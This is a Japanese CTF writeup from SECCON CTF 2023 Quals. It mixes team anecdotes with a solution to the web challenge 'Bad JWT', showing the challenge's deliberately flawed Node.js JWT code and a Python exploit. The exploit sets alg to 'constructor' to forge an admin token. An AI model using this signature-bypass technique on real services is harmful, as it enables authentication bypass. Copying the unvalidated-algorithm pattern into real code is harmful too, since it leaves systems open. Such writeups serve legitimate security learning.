SECCON CTF 2023 Quals writeup

Posted on Sep 17, 2023

はじめに

2023-09-16 05:00 UTC - 2023-09-17 05:00 UTC でSECCON CTF 2023 Qualsが開催されました。

チームONsenで参加し、国際90/653位、国内37/334位でした。

score

僕はWebのwarmup問題であるBad JWTを解いたのみで、その他のweb問題に全く歯が立たずにベンチを温めていました。

参加にあたって

チームONsenは僕の研究室の後輩であるY君が阪大在籍時に「打倒!W◯ni Hack○se!」をスローガンに設立したチームであり(嘘)、阪大とNAISTの学生が所属しています。自分もONsenに所属しており、Y君が後ろの席で「SECCON予選でW◯ni Hack○se倒してえなあ」と毎日口ずさんでおり(嘘)、恐怖を感じたため、チームメンバーの補強を企んでいました。

すると、自分が普段からツイートやブログを拝見しているつよつよCTFプレイヤーであるhamayanさんが参加するチームを探しているではありませんか。

「これは、チャンス!」と思ったので、速攻勧誘させてもらいました。すると、まさかのOKをいただき、hamayanさんがONsenでSECCON予選に参加してくださることが確定しました。

追加でNAIST最強のpwner()であるおしぼりをONsenに加入させることに成功しました。

これでSECCON予選での僕の仕事は終わったと言えます。当日はベンチを温められることが確定しました。

[web] Bad JWT

SatoooonさんのJWT問です。

jwt.js

const crypto = require('crypto');

const base64UrlEncode = (str) => {
	return Buffer.from(str)
		.toString('base64')
		.replace(/=*$/g, '')
		.replace(/\+/g, '-')
		.replace(/\//g, '_');
}

const base64UrlDecode = (str) => {
	return Buffer.from(str, 'base64').toString();
}

const algorithms = {
	hs256: (data, secret) => 
		base64UrlEncode(crypto.createHmac('sha256', secret).update(data).digest()),
	hs512: (data, secret) => 
		base64UrlEncode(crypto.createHmac('sha512', secret).update(data).digest()),
}

const stringifyPart = (obj) => {
	return base64UrlEncode(JSON.stringify(obj));
}

const parsePart = (str) => {
	return JSON.parse(base64UrlDecode(str));
}

const createSignature = (header, payload, secret) => {
	const data = `${stringifyPart(header)}.${stringifyPart(payload)}`;
	const signature = algorithms[header.alg.toLowerCase()](data, secret);
	return signature;
}

const parseToken = (token) => {
	const parts = token.split('.');
	if (parts.length !== 3) throw Error('Invalid JWT format');
	
	const [ header, payload, signature ] = parts;
	const parsedHeader = parsePart(header);
	const parsedPayload = parsePart(payload);
	
	return { header: parsedHeader, payload: parsedPayload, signature }
}

const sign = (alg, payload, secret) => {
	const header = {
		typ: 'JWT',
		alg: alg
	}
	
	const signature = createSignature(header, payload, secret);
	
	const token = `${stringifyPart(header)}.${stringifyPart(payload)}.${signature}`;
	return token;
}

const verify = (token, secret) => {
	const { header, payload, signature: expected_signature } = parseToken(token);

	const calculated_signature = createSignature(header, payload, secret);
	
	const calculated_buf = Buffer.from(calculated_signature, 'base64');
	const expected_buf = Buffer.from(expected_signature, 'base64');

	if (Buffer.compare(calculated_buf, expected_buf) !== 0) {
		throw Error('Invalid signature');
	}

	return payload;
}

module.exports = { sign, verify }

index.js

const FLAG = process.env.FLAG ?? 'SECCON{dummy}';
const PORT = '3000';;

const express = require('express');
const cookieParser = require('cookie-parser');
const jwt = require('./jwt');

const app = express();
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());

const secret = require('crypto').randomBytes(32).toString('hex');

app.use((req, res, next) => {
	try {
		const token = req.cookies.session;
		const payload = jwt.verify(token, secret);
		req.session = payload;
	} catch (e) {
		console.log(e);
		return res.status(400).send('Authentication failed');
	}
	return next();
})

app.get('/', (req, res) => {
	if (req.session.isAdmin === true) {
		return res.send(FLAG);
	} else {
		return res.status().send('You are not admin!');
	}
});

app.listen(PORT, () => {
	const admin_session = jwt.sign('HS512', { isAdmin: true }, secret);
	console.log(`[INFO] Use ${admin_session} as session cookie`);
   console.log(`Challenge server listening on port ${PORT}`);
});

ペイロード{isAdmin:true}であり、署名が有効なJWTを送信することでflagが得られます。秘密鍵を直接求めることはできないため、署名検証をバイパスすることを考えます。

ここで、署名検証時に使用されるcreateSignature関数及びalgorithmsオブジェクトに着目します。

const algorithms = {
	hs256: (data, secret) => 
		base64UrlEncode(crypto.createHmac('sha256', secret).update(data).digest()),
	hs512: (data, secret) => 
		base64UrlEncode(crypto.createHmac('sha512', secret).update(data).digest()),
}

const createSignature = (header, payload, secret) => {
	const data = `${stringifyPart(header)}.${stringifyPart(payload)}`;
	const signature = algorithms[header.alg.toLowerCase()](data, secret);
	return signature;
}

algorithmsは署名アルゴリズムHS256HS512の署名作成関数を含むオブジェクトですが、createSignaturealgorithmsを使用する際のプロパティアクセスに、ユーザの入力値であるheader.algが未検証で使用されています。

署名検証を行うverify関数を確認すると、createSignatureの呼び出し結果であるcalculated_signatureを制御できると、署名検証をバイパスできることがわかります。

const verify = (token, secret) => {
	const { header, payload, signature: expected_signature } = parseToken(token);

	const calculated_signature = createSignature(header, payload, secret);
	
	const calculated_buf = Buffer.from(calculated_signature, 'base64');
	const expected_buf = Buffer.from(expected_signature, 'base64');

    console.log('calculated_signature: ' + calculated_signature);
    console.log('calculated_buf: ' + calculated_buf);
    console.log('expected_signature: ' + expected_signature);
    console.log('expected_buf: ' + expected_buf);

	if (Buffer.compare(calculated_buf, expected_buf) !== 0) {
		throw Error('Invalid signature');
	}

	return payload;
}

ここで、header.algconstructorを指定することを考えます。node.jsのオブジェクトはあらかじめconstructorを持っています。

実際にheaderを{"typ":"JWT","alg":"constructor"}、payloadを{"isAdmin":True}としたJWT eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJjb25zdHJ1Y3RvciJ9.eyJpc0FkbWluIjogdHJ1ZX0.を送信します。すると、calculated_signatureはheaderとpayloadを連結したものになります。

calculated_signature: eyJ0eXAiOiJKV1QiLCJhbGciOiJjb25zdHJ1Y3RvciJ9.eyJpc0FkbWluIjp0cnVlfQ
calculated_buf: {"typ":"JWT","alg":"constructor"}{"isAdmin":true}

calculated_bufexpected_bufを一致させ、署名検証をバイパスするために、signatureとして{"typ":"JWT","alg":"constructor"}{"isAdmin":true}をbase64 urlエンコードしたものを送信します。

最終的に以下のPythonコードを実行することでflagが得られます。

import requests
import json
import base64

base_url = 'http://bad-jwt.seccon.games:3000/'

def base64_url_encode(data):
    base64_encoded = base64.b64encode(data).decode('utf-8')
    return base64_encoded.replace('+', '-').replace('/', '_').replace('=', '')

if __name__ == '__main__':
    header = {"typ":"JWT","alg":"constructor"}
    payload = {"isAdmin":True}

    header_base64 = base64_url_encode(json.dumps(header).encode('utf-8'))
    payload_base64 = base64_url_encode(json.dumps(payload).encode('utf-8'))
    signature = base64_url_encode(b'{"typ":"JWT","alg":"constructor"}{"isAdmin":true}')

    jwt = f"{header_base64}.{payload_base64}.{signature}"
    
    resp = requests.get(base_url, cookies={"session": jwt})
    print(resp.text) # SECCON{Map_and_Object.prototype.hasOwnproperty_are_good}

おわりに

チームメンバーが大健闘してくれましたが、結局W◯ni Hack○seには勝てませんでした。悔しいです。急遽参加してくださったhamayanさん、チームメンバー、運営の方々ありがとうございました!

result